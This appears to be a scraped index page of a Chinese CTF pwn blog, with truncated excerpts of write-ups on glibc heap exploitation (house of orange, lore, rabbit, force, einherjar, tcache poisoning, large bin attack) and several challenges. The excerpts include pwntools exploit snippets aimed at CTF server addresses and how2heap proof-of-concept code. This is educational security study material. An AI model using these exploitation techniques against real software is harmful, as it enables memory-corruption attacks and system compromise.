国城杯pwn wp
vtable_hijack没有去符号表好评
2.23的uaf edit可以直接堆溢出,感觉什么洞都可以打
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990from pwn import *context(arch = 'amd64',os = 'linux',log_level = 'debug')p=remote('125.70.243.22',31194)#p=process('./pwn')elf=ELF('./pwn')s = lambda data : p.send(data)sa = lambda text,data :p.sendafter(text, data ...
wdb2018_guess题解
wdb2018_guess
总的来说,这题考的是对__stack_chk_fail得运用,反复用这个获得信息
123456789101112void __attribute__ ((noreturn)) __stack_chk_fail (void){ __fortify_fail ("stack smashing detected");}void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg){ /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>");}
就是要找到 __libc_a ...
house_of_rabbit
how2heap实验版本为ubuntu22.04 (2.35)
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556#include <stdio.h>#include <stdlib.h>#include <assert.h>int main() { printf("This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication in the tcache.\n"); printf("It would also allow us to perform tcache poisoning if we had a heap leak.\n\n"); printf("Lets fill up the tcache to ...
house_of_orange
wiki 源码这篇是复现wiki上面的实验
12345678910111213141516#include <stdlib.h>#define fake_size 0x1fe1int main(void){ void *ptr; ptr=malloc(0x10); ptr=(void *)((long long)ptr+24); *((long long*)ptr)=fake_size; malloc(0x2000); malloc(0x60);}
分析
首先申请了一个堆快,然后把后面的top_chunk的size改变了
注意,这里的top_chunk的大小是有要求的,因为分页机制,所以堆快的大小应该是0x1000类似的
改变的值只能是0x0fe1、0x1fe1、0x2fe1、0x3fe1这样的
在申请了大于top_chunk的值后,可以达到一个伪free的效果,在没有free函数时
版本2.24加了保护
2.27完全失效
house_of_lore
house_of_lore源码先附上how2heap的源码
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116/*Advanced exploitation of the House of Lore - Malloc Maleficarum.This PoC take care also of the glibc hardening of smallbin corruption.[ ... ]else { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim) ...
2024 ISCFT-PWN复现
girlfriend第六个数组输入的时候,输入的值将决定循环的顺序,再填入后门
123456789101112131415161718192021222324from pwn import *context(log_level='debug')#p=process('./pwn')p=remote('27.25.151.12',25622)ret=0x40101agift=0x401216payload=p64(gift)*5+b'admin'+b'\x00'*2p.sendline(payload)p.sendline(b'100')p.sendline(b'100')p.sendline(b'100')p.sendline(b'100')p.sendline(b'300')#gdb.attach(p)#pause()p.sendline(b'5')p.sendlin ...
house of系列
House Of Einherjar这篇主要是自己记录
图来自好好说话之House Of Einherjar-CSDN博客
就是通过在第一个chunk之前的伪造chunk 再free合并后再申请回来时,获得了指定位置的chunk
版本2.27失效
House Of Force这个主要是通过对top chunk的利用,通过堆溢出改写top chunk的值
把top_chunk的size改成-1
向前molloc到指定位置的距离(负的)加上4(32位)或者8(64位)
向后malloc很大的数字就可以,算下偏移即可(可以直接溢出到栈上)
版本2.27限定了申请范围,失效
House of Roman该技术用于 bypass ALSR,利用 12-bit 的爆破来达到获取 shell 的目的。且仅仅只需要一个 UAF 漏洞以及能创建任意大小的 chunk 的情况下就能完成利用
hitcon_2018_children_tcache题解
静态分析先看保护
很好,保护全开
这里的部分函数我进行了重命名,方便阅读
这里有个strcpy这个函数会在赋值后自动给字符串末尾加上\x00.这里存在一个off-by-null漏洞
同时这里free函数有个可恶的污染,会把你的free掉后的数据全部填充为\xda
因此我们再后面的进行堆重叠是要先利用上面的off-by-null漏洞把prev_size位置清空出来
总结一下这个题目的思路,首先创造四个堆快 分别大 小 大 小
前三个用来进行堆重叠,在通过大堆快的unsortbin实现泄露libc后,通过free函数时伪造一个prev_size导致合并过度的堆块地址,导致有一个被回收的地址,但是函数逻辑中没有被回收,从而实现double free从而把改写free_hook为libc
动态分析我们先创建4个chunk,并且按顺序free0 11234567add(0x410,b'a')add(0x68,b'b')add(0x4f0,b'c')add(0x30,b'd')free(0)free(1)
...
tcache attack
知识点
tcache 是在glibc2.26后新引入的一个机制,在释放一个堆快的时候,如果这个堆快大小小于0x400并且tcache bin还有空间时,就会把函数放进tcache bins中
how2heap以下的实验版本为Ubuntu18.04
tcache poisoning12345678910111213141516171819202122232425262728293031323334353637383940414243444546#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <assert.h>int main(){ // disable buffering setbuf(stdin, NULL); setbuf(stdout, NULL); printf("This file demonstrates a simple tcache poisoning attack ...
large_bin_attack
知识点
总的来说,large_bin_attack就是在free掉的chunk中,再重新申请的时候,从unsorted_bin中拿出来的时候到large_bin或者small_bin中时,因为原来的这两个bin是双向链表,我们插入一个chunk到这其中的时候,会进行一系列的链表之间的指针互换
结构
fd_nextsize指向前一个与现在chunk大小不一样的地址(一个大小只有第一个有)
bk_nextsize指向后一个与现在chunk大小不一样的地址(一个大小只有第一个有)
how2heap large bin attack我们进入how2heap glibc2.23中的large bin attack调试来理解
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384#include<stdio.h>#incl ...